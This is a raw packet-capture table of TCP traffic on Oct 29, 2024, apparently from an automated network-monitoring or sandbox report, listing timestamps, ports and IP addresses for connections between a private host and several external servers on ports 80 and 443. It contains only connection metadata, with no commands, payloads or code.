Oct 29, 2024 15:27:47.288482904 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.288487911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288491964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288503885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288506031 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.288522959 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.288537979 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288548946 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.288614988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288661003 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.288702011 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.289484978 CET	49977	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.289494038 CET	443	49977	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.289504051 CET	49977	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.289510012 CET	443	49977	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.290556908 CET	443	49980	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.290622950 CET	443	49980	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.290733099 CET	49980	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.290744066 CET	443	49980	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.290783882 CET	443	49980	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.290848970 CET	49980	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.290867090 CET	443	49981	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.290932894 CET	443	49981	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.290985107 CET	49981	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.291027069 CET	49996	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.291064024 CET	443	49996	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.291167974 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.291184902 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.291193008 CET	49996	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.291218996 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.291229010 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.291237116 CET	49978	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.291260958 CET	49978	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.291430950 CET	49996	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.291446924 CET	443	49996	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.291511059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.291516066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.291526079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.291568041 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.291743994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.291744947 CET	49997	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.291778088 CET	443	49997	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.291794062 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.291827917 CET	49997	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.292345047 CET	49997	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.292359114 CET	443	49997	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.293009996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.293057919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.293064117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.293066025 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.293077946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.293108940 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.293143034 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.293303967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.293344975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.293356895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.293404102 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.293437004 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.293450117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.293457031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.293468952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.293512106 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.294358969 CET	49980	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.294369936 CET	443	49980	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.294532061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.294548035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.294558048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.294605970 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.294637918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.294644117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.294656038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.294698000 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.294703960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.294717073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.294755936 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.295598984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.295622110 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.295658112 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.295675993 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.295741081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.295747042 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.295763969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.295770884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.295789003 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.295826912 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.296509981 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.296607971 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.296616077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.296623945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.296634912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.296642065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.296648026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.296669006 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.296708107 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.297120094 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.297147036 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.297157049 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.297174931 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.297189951 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.297194004 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.297204018 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.297225952 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.297261953 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.297261953 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.297295094 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.297303915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.297322035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.297346115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.297350883 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.297353029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.297365904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.297373056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.297379017 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.297414064 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.297432899 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.298216105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.298227072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.298233986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.298285007 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.298285961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.298294067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.298305988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.298338890 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.298712969 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.298765898 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.298804998 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.298826933 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.298852921 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.298903942 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.298911095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.298959970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.298965931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.298978090 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.299006939 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.299062967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.299069881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.299084902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.299110889 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.299137115 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.299329996 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.299386024 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.299792051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.299819946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.299873114 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.299905062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.299925089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.299968004 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.299988985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.299994946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.300040007 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.300399065 CET	49981	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.300420046 CET	443	49981	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.300585985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.300657034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.300657988 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.300663948 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.300677061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.300684929 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.300713062 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.300757885 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.301368952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.301377058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.301383972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.301429033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.301805019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.301810980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.301870108 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.302190065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.302196026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.302206993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.302212954 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.302226067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.302232981 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.302237034 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.302268028 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.302963972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.303025961 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.303030014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.303037882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.303050041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.303082943 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.303147078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.303153992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.303199053 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.303849936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.303877115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.303883076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.303926945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.303932905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.303936005 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.303986073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.303988934 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.304035902 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.304297924 CET	49978	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.304327011 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.304666042 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.304753065 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.304830074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.304836035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.304848909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.304889917 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.304891109 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.304898977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.304930925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.304956913 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.304999113 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.305681944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.305764914 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.305871964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.305982113 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.327677965 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.327702999 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.327759027 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.327779055 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.327810049 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.327840090 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.331325054 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.332092047 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.332102060 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.336455107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.336462021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.336484909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.336492062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.336510897 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.336549997 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.336564064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.336570978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.336693048 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.336777925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.336822987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.336833954 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.336867094 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.336941004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.336947918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.336982012 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.337162971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337241888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337245941 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.337249994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337285042 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.337316036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337321997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337338924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337344885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337358952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337363005 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.337364912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337373018 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337385893 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.337413073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.337418079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337424994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337498903 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.337850094 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337914944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337955952 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.337961912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337969065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.337971926 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338001013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338010073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338016987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338022947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338036060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338068008 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338084936 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338100910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338108063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338119984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338150978 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338244915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338252068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338257074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338263035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338268995 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338274956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338289022 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338289022 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338295937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338304996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338321924 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338345051 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338355064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338361025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338430882 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338521957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338577986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338624954 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338656902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338663101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338681936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338687897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338716030 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338732004 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338754892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338762999 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338774920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338781118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338794947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338807106 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338807106 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338813066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.338836908 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.338854074 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.339160919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339168072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339179993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339189053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339195013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339201927 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339214087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339229107 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.339260101 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.339260101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339267969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339278936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339284897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339292049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339309931 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.339329004 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.339329958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339339972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339344025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339378119 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.339793921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339827061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339834929 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339843035 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.339848042 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339855909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.339873075 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.339901924 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.340996027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341002941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341017962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341059923 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.341094971 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.341097116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341118097 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.341150045 CET	49940	80	192.168.2.6	185.215.113.206
